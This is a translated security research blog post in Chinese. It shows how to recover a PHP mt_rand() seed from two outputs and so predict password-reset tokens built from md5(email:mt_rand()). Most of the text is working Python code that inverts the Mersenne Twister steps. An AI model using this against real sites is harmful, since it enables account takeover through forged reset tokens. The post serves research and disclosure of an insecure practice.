用2个随机值破解PHP的MT_RAND函数
iso60001 1568天前
介绍
在对一个老旧网站进行渗透测试时，我们遇到了一段很久没看过的代码：
<?php
function resetPassword($email)
{
[...]
$superSecretToken = md5($email . ':' . mt_rand());
[...]
$this->sendEmailWithResetToken($email, $superSecretToken);
}
使用Mersenne Twister的PHP代码生成了一个被认为是隐秘且不可被暴力破解的令牌。
在过去十多年，大量文章和工具都提及了随机令牌的问题。许多应用使用rand()或mt_rand()来生成秘密令牌或密码，但这些函数的安全性存在缺陷，不应该用于保密和身份识别。为了预测这些函数的值，你必须找到seed，即所有随机值的源头。为此你需要获得“所有内部状态”（mt_rand的624个状态值），或者使用部分随机值来对种子进行暴力破解。
然而，我们的一名研究人员认为，仅使用mt_rand()函数的两个输出就可以找到Mersenne Twister的seed（而且此过程不需要任何暴力破解）。可惜的是，我们找不到任何支持这一理论的资料，关于这个问题的笔记早就丢失了。
而在对过去数据进行了一番分析之后，我们证明了他的看法是对的，我们将演示如何做到这一点。
攻破函数
使用mt_rand()生成随机数的第一步是使用一个seed（无符号整型）来生成一个包含624个值的状态数组，这可以通过调用mt_srand($seed)来完成，也可以通过PHP在请求第一个随机数时自动完成。在此之后，每次调用mt_rand()都将获取下一个状态值，混淆它，并将其返回给用户。
对于最新的PHP版本（PHP 7+），涉及的文件为ext/standard/mt_rand.c。对于旧版本的PHP（PHP 5-）， 涉及的文件为ext/standard/rand.c。
知道seed的值能够使你预测将来产生的随机值，直到发生其他对mt_srand()的调用。因此，从mt_rand()的一个或多个值生成的秘密随机值将不再是秘密，从而导致明显的安全问题。
随机数生成过程分为三个步骤：
通过种子的模乘法生成初始状态值数组
将状态值打乱，得到一个混淆后的状态值数组
调用
mt_rand()时，返回一个修改后的（经过混淆）状态值数组的状态值
对于以上每个步骤，我都将展示其代码，简要描述其工作流程，介绍输出输入。
注意：PHP 7+对负责生成混淆状态的代码进行了一些更改（请参阅mt_randl.c中定义的twist和twist_php)，不过影响不大，我们还是可以通过算法的变化推测出seed。我们主要关注最初的代码实现，twist_php。
seed到初始状态值数组
#define MT_N (624)
#define N MT_N /* length of state vector */
#define M (397)/* a period parameter */
static inline void php_mt_initialize(uint32_t seed, uint32_t *state)
{
/* Initialize generator state with seed
See Knuth TAOCP Vol 2, 3rd Ed, p.106 for multiplier.
In previous versions, most significant bits (MSBs) of the seed affect
only MSBs of the state array. Modified 9 Jan 2002 by Makoto Matsumoto. */
register uint32_t *s = state;
register uint32_t *r = state;
register int i = 1;
*s++ = seed & 0xffffffffU;
for( ; i < N; ++i ) {
*s++ = ( 1812433253U * ( *r ^ (*r >> 30) ) + i ) & 0xffffffffU;
r++;
}
}
创建一个包含624个值的初始状态值数组。第一个状态值是seed，后续每个状态值都是由前一个状态值生成的。
现在，如果我们知道这些状态值中的任何一个，比如state[123]，能否推测出state[0]，也就是seed？
python版本的代码是：
N = 624
M = 397
MAX = 0xffffffff
STATE_MULT = 1812433253
def php_mt_initialize(seed):
"""Creates the initial state array from a seed.
"""
state = [None] * N
state[0] = seed & 0xffffffff;
for i in range(1, N):
r = state[i-1]
state[i] = ( STATE_MULT * ( r ^ (r >> 30) ) + i ) & MAX
return state
因为值是迭代成生的，所以我们需要做的第一件事是尝试根据i和state[i]推测出state[i-1]，然后我们就可以重复操作找出以前的值，直到state[0]。下图中S代表状态值，i在1到624之间：
我们可以计算1812433253模0x100000000的模乘逆：
然后：
转换为python，我们可以得到：
STATE_MULT_INV = 2520285293
MAX = 0xffffffff
def _undo_php_mt_initialize(s, i):
s = (STATE_MULT_INV * (s - i)) & MAX
return s ^ s >> 30
def undo_php_mt_initialize(s, p):
"""From an initial state value `s` at position `p`, find out seed.
"""
for i in range(p, 0, -1):
s = _undo_php_mt_initialize(s, i)
return s
这意味着如果我们得到任何初始状态值，就可以计算出其他状态值以及seed。
初始状态值数组到混淆后状态值数组
#define hiBit(u) ((u) & 0x80000000U) /* mask all but highest bit of u */
#define loBit(u) ((u) & 0x00000001U) /* mask all but lowestbit of u */
#define loBits(u) ((u) & 0x7FFFFFFFU) /* mask the highest bit of u */
#define mixBits(u, v) (hiBit(u)|loBits(v)) /* move hi bit of u to hi bit of v */
#define twist(m,u,v) (m ^ (mixBits(u,v)>>1) ^ ((php_uint32)(-(php_int32)(loBit(u))) & 0x9908b0dfU))
static inline void php_mt_reload(TSRMLS_D)
{
/* Generate N new values in state
Made clearer and faster by Matthew Bellew (matthew.bellew@home.com) */
register php_uint32 *state = BG(state);
register php_uint32 *p = state;
register int i;
for (i = N - M; i--; ++p)
*p = twist(p[M], p[0], p[1]);
for (i = M; --i; ++p)
*p = twist(p[M-N], p[0], p[1]);
*p = twist(p[M-N], p[0], state[0]);
BG(left) = N;
BG(next) = state;
}
对初始状态值数组进行混淆，从而产生一个新的状态值数组，前226（N-M）个值的计算与后面的值不同。在python中，我们可以这样表示：
N = 624
M = 397
def php_mt_reload(s):
for i in range(0, N - M):
s[i] = _twist(s[i+M], s[i], s[i+1])
for i in range(N - M, N - 1):
s[i] = _twist(s[i+M-N], s[i], s[i+1])
def _twist_php(m, u, v):
"""Emulates the `twist` #define.
"""
mask = 0x9908b0df if u & 1 else 0
return m ^ (((u & 0x80000000) | (v & 0x7FFFFFFF)) >> 1) ^ mask
在这里，我们会证明可以利用两个混淆后的状态值推导出一个初始状态值。
state[0]和state[227]之间是存在推导关系的。这里我们用小s来命名初始状态数组，用大S来命名新的混淆后的状态值数组：
S[227] = _twist(S[227 - 227], s[227], s[228])
<=> S[227] = _twist(S[0], s[227], s[228])
<=> S[227] = S[0] ^ (((s[227] & 0x80000000) | (s[228] & 0x7FFFFFFF)) >> 1) ^ (0x9908b0df if s[227] & 1 else 0)
<=> S[227] ^ S[0] = (((s[227] & 0x80000000) | (s[228] & 0x7FFFFFFF)) >> 1) ^ (0x9908b0df if s[227] & 1 else 0)
作为攻击者，如果知道了混淆后的S[0]和S[227]，然后进行XOR操作，我们就会得到很多关于初始状态值s[228]的信息，以及部分关于s[227]的信息。如果我们用X表示S[227] ^ S[0]，则：
因为XOR表达式的左部分是右移的，所以它的MSB（最高有效位）总是空的。因为
MSB(0x9908b0df)已经被设置好了，所以x的MSB只由右边掩码来决定。因此，MSB(X) = LSB(s[227])，如果X有掩码，我们可以把它去掉。（LSB为最低有效位）然后，
BIT(s[227], 31) = BIT(X, 30)。其余值是来自
s[228]的bit，来自30到1位。
综上所述，我们有：
初始状态值
s[227]的MSB和LSB初始状态值
s[228]从30到1位的值
因此，我们有4个可能的s[228]。由于我们也知道s[227]的一些bit，所以我们可以从s[228]的四个可能值中计算出候选的s[227]，并通过验证LSB和MSB得到真正的s[227]。此外，我们可以获得与候选s[228]相关联的seed，利用它来重新生成一个状态数组，并检查它是否和S[0]匹配。下面是相关python代码：
def undo_php_mt_reload(S000, S227):
# m S000
# u S227
# v S228
X = S000 ^ S227
# This means the mask was applied, and as such that S227's LSB is 1
s22X_0 = bv(X, 31)
# remove mask if present
if s22X_0:
X ^= 0x9908b0df
# Another easy guess
s227_31 = bv(X, 30)
# remove bit if present
if s227_31:
X ^= 1 << 30
# We're missing bit 0 and bit 31 here, so we have to try every possibility
s228_1_30 = (X << 1)
for s228_0 in range(2):
for s228_31 in range(2):
s228 = s228_0 | s228_31 << 31 | s228_1_30
# Check if the results are consistent with the known bits of s227
s227 = _undo_php_mt_initialize(s228, 228)
if bv(s227, 0) != s22X_0:
continue
if bv(s227, 31) != s227_31:
continue
# Check if the guessed seed yields S000 as its first scrambled state
rand = undo_php_mt_initialize(s228, 228)
state = php_mt_initialize(rand)
php_mt_reload(state)
if not S000 == state[0]:
continue
return rand
return None
如上所述，为了推导出原始seed，我们使用了混淆后S[0]和S[227]之间的关系。可以看到，这种关系对于任何由226个值分隔的状态值都是有效的。因此，知道S[i]和S[i+227]这两个状态值，以及它们的偏移量i，我们就可以得到seed。
现在我们可以检查mt_rand()的最后一步。
混淆后状态值到mt_rand()的输出
当我们调用mt_rand()时，PHP会从混淆后的状态值数组中取一个值，稍微处理一下，返回值。
PHP_FUNCTION(mt_rand)
{
zend_long min;
zend_long max;
int argc = ZEND_NUM_ARGS();
if (argc == 0) {
// genrand_int31 in mt19937ar.c performs a right shift
RETURN_LONG(php_mt_rand() >> 1);
}
...
}
PHPAPI uint32_t php_mt_rand(void)
{
/* Pull a 32-bit integer from the generator state
Every other access function simply transforms the numbers extracted here */
register uint32_t s1;
if (UNEXPECTED(!BG(mt_rand_is_seeded))) {
php_mt_srand(GENERATE_SEED());
}
if (BG(left) == 0) {
php_mt_reload();
}
--BG(left);
s1 = *BG(next)++; // PICKS NEXT SCRAMBLED STATE VALUE
s1 ^= (s1 >> 11);
s1 ^= (s1 << 7) & 0x9d2c5680U;
s1 ^= (s1 << 15) & 0xefc60000U;
return ( s1 ^ (s1 >> 18) );
}
s1表示混淆后的状态值。在经过php_mt_rand()的4个操作后，mt_rand()将它向右移动一位。显然，最后这个操作是不可逆转的，其他四个可以。
我们可编写以下代码来逆向这些转换：
def undo_php_mt_rand(s1):
"""Retrieves the merged state value from the value sent to the user.
"""
s1 ^= (s1 >> 18)
s1 ^= (s1 << 15) & 0xefc60000
s1 = undo_lshift_xor_mask(s1, 7, 0x9d2c5680)
s1 ^= s1 >> 11
s1 ^= s1 >> 22
return s1
def undo_lshift_xor_mask(v, shift, mask):
"""r s.t. v = r ^ ((r << shift) & mask)
"""
for i in range(shift, 32, shift):
v ^= (bits(v, i - shift, shift) & bits(mask, i, shift)) << i
return v
给定一个mt_rand()输出，并猜测它的LSB（最低有效位），我们可以得到两个可能的混淆后状态值：一个的LSB是0，另一个是1。
总结
让我们把这些逆向的步骤放在一起：
1.从mt_rand()中获取两个值（中间隔了226个其他随机值：R000和R227）以及i（代表R000之前生成的随机数的个数）。
2.从这些值中获取混淆后的状态值。
3.XOR那些状态值，推断出初始的状态值228。
4.从s228推导回s0，得到seed。
def main(_R000, _R227, offset):
# Both were >> 1, so the leftmost byte is unknown
_R000 <<= 1
_R227 <<= 1
for R000_0 in range(2):
for R227_0 in range(2):
R000 = _R000 | R000_0
R227 = _R227 | R227_0
S000 = undo_php_mt_rand(R000)
S227 = undo_php_mt_rand(R227)
seed = undo_php_mt_reload(S000, S227, offset)
if seed:
print(seed)
因为我们缺少R000和R227的LSB（最低有效位哦），所以我们需要尝试每种情况下的算法。通常，这四种组合中只有一种会推导出seed，其他的组合是不可能的。
输出：
完整的python代码在我的github。
结论
给定两个mt_rand()输出值的情况下，我们确实可以在不使用任何暴力破解的情况下计算出原始seed，从而获得任何以前或以后的mt_rand()输出。
本文由白帽汇整理并翻译，不代表白帽汇任何观点和立场
来源：https://www.ambionics.io/blog/php-mt-rand-prediction
最新评论